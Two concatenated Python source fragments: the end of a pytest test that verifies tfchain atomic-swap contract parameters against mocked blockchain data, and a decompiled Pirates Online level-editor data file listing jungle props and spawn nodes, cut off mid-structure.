assert contract.sender == "01b73c4e869b6167abe6180ebe7a907f56e0357b4a2f65eb53d22baad84650eb62fce66ba036d0" assert contract.receiver == "01746b199781ea316a44183726f81e0734d93e7cefc18e9a913989821100aafa33e6eb7343fa8c" assert contract.secret_hash == "4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba" # the amount can however be verified automatically w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50) # which will fail if the amount is wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=42) # the secret hash can be verified as well, not so important as the sender, # would be more used if one is the receiver, but it is possible none the less. w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", ) # which will fail if the secret hash is wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdbb", ) # a minimum duration can also be defined, where the duration defines how long it takes until the # contract becomes refundable, 0 if already assumed to be refundable w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", min_refund_time="+1d") # which will fail if assumed wrong with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", min_refund_time=0) # if one is assumed to be the sender, it can also be verified automatically w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", sender=True) # if one assumed its position wrong, it will however fail with pytest.raises(j.clients.tfchain.errors.AtomicSwapContractInvalid): w.atomicswap.verify("023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", receiver=True) # all can be verified at once of course w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50, secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", min_refund_time="+1d", sender=True, ) # once the refund time has been reached, it does become refundable, and min_refund_time=0 should validate correctly explorer_client.hash_add( "5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8", '{"hashtype":"blockid","block":{"minerpayoutids":["84b378d60cbdd78430b39c8eddf226119b6f28256388557dd15f0b046bf3c3ed"],"transactions":[{"id":"9aec9f849e35f0bdd14c5ea9daed20c8fbfa09f5a6771bb46ce787eb7e2b00a0","height":16639,"parent":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","rawtransaction":{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}},"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"blockstakeoutputids":["83aa29b3e77f703526e28fbc0d2bfcf2b66c06b665e11cb5535b9575fd0e8105"],"blockstakeunlockhashes":["015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"],"unconfirmed":false}],"rawblock":{"parentid":"8485f94209bf3e01ed169244ab2072ebb0d1c5dc589c95b39a3fbab3641b7a7e","timestamp":1549791703,"pobsindexes":{"BlockHeight":16638,"TransactionIndex":0,"OutputIndex":0},"minerpayouts":[{"value":"10000000000","unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}],"transactions":[{"version":1,"data":{"coininputs":null,"blockstakeinputs":[{"parentid":"144b2b7711fda335cdae5865ab3729d641266087bc4e088d9fba806345045903","fulfillment":{"type":1,"data":{"publickey":"ed25519:d285f92d6d449d9abb27f4c6cf82713cec0696d62b8c123f1627e054dc6d7780","signature":"f09af1c62026aed18d1d8f80e5a7bd4947a6cb5b6b69097c5b10cb983f0d729662c511a4852fa63690884e2b5c600e3935e08b81aaa757d9f0eb740292ec8309"}}}],"blockstakeoutputs":[{"value":"3000","condition":{"type":1,"data":{"unlockhash":"015a080a9259b9d4aaa550e2156f49b1a79a64c7ea463d810d4493e8242e6791584fbdac553e6f"}}}],"minerfees":null}}]},"blockid":"5c86c987668ca47948a149413f4f004651249073eff4f144fd26b50e218705a8","difficulty":"30203","estimatedactivebs":"2365","height":16639,"maturitytimestamp":1549646167,"target":[0,2,43,120,39,20,204,42,102,32,125,110,53,77,39,71,99,124,13,223,197,154,115,42,126,62,185,120,208,177,21,190],"totalcoins":"0","arbitrarydatatotalsize":4328,"minerpayoutcount":16721,"transactioncount":17262,"coininputcount":633,"coinoutputcount":1225,"blockstakeinputcount":16639,"blockstakeoutputcount":16640,"minerfeecount":622,"arbitrarydatacount":572},"blocks":null,"transaction":{"id":"0000000000000000000000000000000000000000000000000000000000000000","height":0,"parent":"0000000000000000000000000000000000000000000000000000000000000000","rawtransaction":{"version":0,"data":{"coininputs":[],"minerfees":null}},"coininputoutputs":null,"coinoutputids":null,"coinoutputunlockhashes":null,"blockstakeinputoutputs":null,"blockstakeoutputids":null,"blockstakeunlockhashes":null,"unconfirmed":false},"transactions":null,"multisigaddresses":null,"unconfirmed":false}', force=True, ) # we should be able to refund at this point w.atomicswap.verify( "023b1c17a01945573933e62ca7a1297057681622aaea52c4c4e198077a263890", amount=50, secret_hash="4163d4b31a1708cd3bb95a0a8117417bdde69fd1132909f92a8ec1e3fe2ccdba", min_refund_time=0, sender=True, ) c.wallets.delete() c.delete()
# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.leveleditor.worldData.tortuga_area_jungle_a_1 from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Interact Links': [['1175224832.0dxschafe', '1175224704.0dxschafe0', 'Bi-directional'], ['1176168576.0dxschafe1', '1176168448.0dxschafe0', 'Bi-directional'], ['1176167680.0dxschafe2', '1176168064.0dxschafe0', 'Bi-directional'], ['1175223168.0dxschafe1', '1175223424.0dxschafe', 'Bi-directional'], ['1176167680.0dxschafe0', '1176168192.0dxschafe', 'Bi-directional'], ['1190077440.0dxschafe', '1176168064.0dxschafe', 'Bi-directional']], 'Objects': {'1165004570.58sdnaik': {'Type': 'Island Game Area', 'Name': 'JungleAreaA', 'File': '', 'AdditionalData': ['JungleAreaA'], 'Environment': 'Jungle', 'Footstep Sound': 'Sand', 'Instanced': True, 'Minimap': False, 'Objects': {'1165004689.08sdnaik': {'Type': 'Locator Node', 'Name': 'portal_interior_1', 'Hpr': VBase3(-81.0, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(36.719, 255.714, 7.06), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1165004689.08sdnaik0': {'Type': 'Locator Node', 'Name': 'portal_interior_2', 'Hpr': VBase3(142.379, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(837.183, 5.167, 52.393), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1165004689.09sdnaik': {'Type': 'Locator Node', 'Name': 'portal_interior_3', 'Hpr': VBase3(-79.736, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(380.725, 407.485, 61.219), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1172085867.05kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(76.186, 0.0, -1.384), 'Objects': {}, 'Pos': Point3(265.487, 282.271, 49.156), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1172085897.89kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(70.251, -4.734, -1.599), 'Pos': Point3(230.081, 263.572, 46.158), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1172085911.05kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(67.431, 0.0, 0.0), 'Pos': Point3(250.953, 296.876, 47.88), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1172085928.49kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(59.759, 0.0, -5.916), 'Pos': Point3(249.925, 255.922, 47.875), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1172086078.44kmuller': {'Type': 'Tree', 'DisableCollision': False, 'Hpr': VBase3(0.0, -1.099, 0.0), 'Pos': Point3(635.066, -54.075, 51.336), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/fern_tree_a'}}, '1172086167.22kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 3.318), 'Pos': Point3(649.804, -48.418, 50.866), 'Scale': VBase3(0.961, 0.961, 0.961), 'Visual': {'Color': (0.7900000214576721, 0.7799999713897705, 0.699999988079071, 1.0), 'Model': 'models/vegetation/jungle_fern_a'}}, '1172086806.02kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(587.88, -70.239, 53.618), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172086815.55kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-24.107, 0.0, 0.0), 'Pos': Point3(604.775, -51.829, 52.851), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172086859.25kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(69.822, -4.722, 0.837), 'Pos': Point3(226.34, 262.048, 45.022), 'Scale': VBase3(0.424, 0.424, 0.424), 'Visual': {'Model': 'models/vegetation/jungle_fern_c'}}, '1172086899.91kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(96.245, -20.164, 14.303), 'Pos': Point3(230.365, 269.299, 46.164), 'Scale': VBase3(0.589, 0.589, 0.589), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/jungle_fern_b'}}, '1172087006.61kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(250.71, 300.183, 47.885), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172087043.0kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-26.599, -15.257, 0.826), 'Pos': Point3(252.592, 261.016, 48.087), 'Scale': VBase3(0.87, 0.87, 0.87), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/jungle_fern_b'}}, '1172087114.47kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(88.525, 0.0, 0.0), 'Pos': Point3(622.486, -58.285, 51.413), 'Scale': VBase3(0.552, 0.552, 0.552), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1172087147.13kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(52.492, 0.0, 0.0), 'Pos': Point3(628.97, -53.515, 52.418), 'Scale': VBase3(0.563, 0.563, 0.563), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1172087304.13kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(18.13, -0.477, 0.0), 'Pos': Point3(216.4, 257.881, 44.981), 'Scale': VBase3(0.636, 0.636, 0.636), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1172087900.05kmuller': {'Type': 'Bush', 'DisableCollision': True, 'Holiday': '', 'Hpr': VBase3(109.366, 0.0, 0.0), 'Pos': Point3(614.045, -53.87, 52.576), 'Scale': VBase3(0.636, 0.636, 0.636), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1172255348.53kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(45.318, 6.861, 14.173), 'Pos': Point3(383.3, 240.322, 57.447), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller00': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(74.626, 5.135, 6.698), 'Pos': Point3(241.577, 294.377, 47.079), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller02': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-138.594, 11.942, 21.819), 'Pos': Point3(340.149, 233.95, 55.658), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller03': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-139.656, 7.195, -0.834), 'Pos': Point3(787.738, 162.588, 52.078), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller04': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(125.201, 3.733, 3.572), 'Pos': Point3(199.439, 244.165, 41.244), 'Scale': VBase3(0.791, 0.791, 0.791), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller05': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(25.925, 9.07, 16.82), 'Pos': Point3(821.507, 160.131, 50.945), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller06': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-177.412, 6.676, 18.108), 'Pos': Point3(809.4, 133.212, 51.054), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller08': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(88.273, -0.909, -9.571), 'Pos': Point3(793.012, 187.454, 53.9), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller09': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(114.725, 7.143, 16.62), 'Pos': Point3(267.703, 291.468, 48.765), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller10': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(45.318, 6.861, 14.173), 'Pos': Point3(375.366, 250.105, 56.965), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller11': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(74.52, 6.208, 14.02), 'Pos': Point3(221.858, 256.433, 44.351), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255411.11kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-61.789, 29.751, 4.263), 'Pos': Point3(262.035, 271.277, 48.912), 'Scale': VBase3(0.31, 0.31, 0.31), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172276608.0mike': {'Type': 'Townsperson', 'Category': 'Cast', 'Aggro Radius': '12.0000', 'AnimSet': 'shovel', 'AuraFX': 'None', 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(-87.938, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(240.207, 264.516, 47.024), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Requires Quest Interest': False, 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1175223168.0dxschafe0': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(398.56, 228.332, 60.671), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/gen_tree_c'}}, '1175223168.0dxschafe1': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(387.172, 232.752, 59.686), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1175223424.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': Point3(0.0, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '1.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(400.778, 233.07, 60.955), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1175224704.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': VBase3(0.0, 0.0, -12.995), 'Pos': Point3(166.759, -41.073, 33.247), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1175224832.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-70.09, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(69.525, -54.895, -1.355), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Gator T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167680.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(148.171, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(829.784, 119.704, 52.032), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0.0, 0.0, 0.65, 1.0), 'Model': 'models/misc/smiley'}}, '1176167680.0dxschafe2': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_searching', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(750.523, 147.053, 51.98), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167936.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(126.295, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(801.017, 139.364, 52.074), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176167936.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-101.196, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(418.282, 73.97, 62.672), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168064.0dxschafe': {'Type': 'Object Spawn Node', 'Hpr': VBase3(-2.207, -2.938, 10.983), 'Pos': Point3(499.402, -53.328, 68.369), 'Priority': '1', 'Scale': VBase3(1.015, 1.015, 1.015), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168064.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(685.383, 83.611, 52.17), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168192.0dxschafe': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(868.624, 102.442, 52.061), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168320.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-70.09, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(-39.695, 119.593, 10.435), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Gator T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168448.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(44.903, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(233.03, 29.447, 46.883), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168448.0dxschafe0': {'Type': 'Object Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(311.172, 71.169, 53.497), 'Priority': '1', 'Scale': VBase3(1.0, 1.0, 1.0), 'SpawnDelay': '20', 'Spawnables': 'Buried Treasure', 'VisSize': '', 'Visual': {'Color': (0.8, 0.2, 0.65, 1), 'Model': 'models/misc/smiley'}, 'startingDepth': '12'}, '1176168576.0dxschafe1': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(97.422, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(272.907, 128.371, 50.102), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe2': {'Type': 'Player Spawn Node', 'Hpr': VBase3(119.358, 0.0, 0.0), 'Index': -1, 'Pos': Point3(206.444, 162.548, 43.246), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe3': {'Type': 'Player Spawn Node', 'Hpr': VBase3(138.375, -2.486, -0.136), 'Index': -1, 'Pos': Point3(298.035, 259.054, 51.992), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe4': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-47.565, 0.0, 0.0), 'Index': -1, 'Pos': Point3(90.243, 118.761, 12.972), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe5': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-21.524, 0.0, 0.0), 'Index': -1, 'Pos': Point3(149.136, -3.308, 28.612), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe6': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-132.278, 0.0, 0.0), 'Index': -1, 'Pos': Point3(375.376, 289.812, 58.559), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 